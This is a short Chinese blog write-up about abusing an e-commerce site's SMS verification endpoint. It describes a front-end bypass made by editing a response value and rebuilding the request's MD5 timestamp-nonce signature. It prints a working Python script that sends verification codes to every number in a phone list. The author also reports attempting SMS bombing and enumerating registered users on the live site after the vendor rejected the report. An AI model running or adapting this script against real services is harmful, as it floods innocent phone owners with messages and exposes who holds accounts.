一例遍历手机号发送验证码
起因
搬砖的时候收集的资产中有这么一个站点，测了下发现存在遍历手机号发送验证码问题，但是人家不收，就记仇了下来。
过程
是一个电商公众号的web，看到登录就里面的注册，忘记密码，就想有戏了。
第一个问题，前端绕过。
这里的验证码就没用，直接绕过，本身是会对手机号进行一次校验，看是否注册。
修改返回包的内容为1，直接进入到重置密码页面，后面尝试绕过就不行了，后面还是有校验的。
然后测试下验证码发送。
发现后面带了一串时间戳，签名之类的东西，看起来不复杂，可以用脚本直接写。查看下页面的js源码。
比较简单，生成一个随机6位数，时间戳，md5加密，脚本实现不难。
脚本
import requests
import time
import random
import hashlib
if __name__ == '__main__' :
headers ={
"User-Agent": "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Mobile Safari/537.36",
"Origin": "http://xxxx.cn",
"Referer": "http://xxxx.cn/gotonext.html?mobile=13588888888",
"Accept-Encoding": "gzip, deflate",
"Cookie":"xxxxxxx"
}
t = int(time.time() * 1000)
nonce = str(int(round(random.random(), 6) * 1000000))
if len(nonce) < 6:
nonce = "0" + nonce
file = open("./phoneNum.txt", "r")
for phonenum in file:
t = int(time.time() * 1000 + random.random()*10*1000000000)
nonce = str(int(round(random.random(), 6) * 1000000))
if len(nonce) < 6:
nonce = "0" + nonce
requrl = "http://xxx.cn/sendmobilecode.htm?timestamp=" + str(t) + "&nonce=" + nonce + "&sign=" + hashlib.md5((nonce + str(t)).encode()).hexdigest()
data = {
"mobile": phonenum
}
r = requests.post(url=requrl, data=data, headers=headers)
print(r.content)
测试
准备了一个字典，跑一下，有几条会错误，大多能成功，尝试短信轰炸发现手机号单日有次数限制就放弃了。
转码下，能遍历注册信息。
